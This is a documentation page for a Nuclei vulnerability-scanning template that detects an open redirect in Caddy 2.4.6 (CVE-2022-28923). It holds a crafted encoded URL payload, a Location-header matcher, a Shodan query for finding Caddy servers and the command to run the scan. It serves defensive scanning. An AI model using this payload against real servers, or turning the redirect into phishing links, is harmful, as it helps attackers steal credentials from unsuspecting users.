Caddy 2.4.6 - Open Redirect
ID: CVE-2022-28923
Severity: medium
Author: Sascha Brendel,DhiyaneshDk
Tags: cve,cve2022,redirect,caddy,webserver,caddyserver
Description
Section titled “Description”Caddy 2.4.6 contains an open redirect vulnerability. An attacker can redirect a user to a malicious site via a crafted URL and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
YAML Source
Section titled “YAML Source”id: CVE-2022-28923
info: name: Caddy 2.4.6 - Open Redirect author: Sascha Brendel,DhiyaneshDk severity: medium description: | Caddy 2.4.6 contains an open redirect vulnerability. An attacker can redirect a user to a malicious site via a crafted URL and possibly obtain sensitive information, modify data, and/or execute unauthorized operations. impact: | Successful exploitation of this vulnerability could lead to phishing attacks, credential theft,. remediation: | Upgrade Caddy to version 2.4.7 or later to mitigate the vulnerability. reference: - https://lednerb.de/en/publications/responsible-disclosure/caddy-open-redirect-vulnerability/ - https://www.cve.org/CVERecord?id=CVE-2022-28923 - https://github.com/caddyserver/caddy/issues/4502 - https://nvd.nist.gov/vuln/detail/CVE-2022-28923 - https://github.com/ARPSyndicate/cvemon classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-28923 cwe-id: CWE-601 epss-score: 0.00772 epss-percentile: 0.79353 cpe: cpe:2.3:a:caddyserver:caddy:2.4.6:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: caddyserver product: caddy shodan-query: - 'Server: caddy' - "server: caddy" tags: cve,cve2022,redirect,caddy,webserver,caddyserver
http: - method: GET path: - '{{BaseURL}}/%5C%5Cinteract.sh/%252e%252e%252f'
matchers: - type: regex part: header regex: - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1# digest: 4a0a004730450221009ec85eea678dd1e98b61f22ce6c3b01bafce13f41ccac946bdcc9102103b0359022027e49ecd7c9f555b4ed5930ee95fca4b0803abcb3619cba6fd43a400bb3988f7:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-28923.yaml"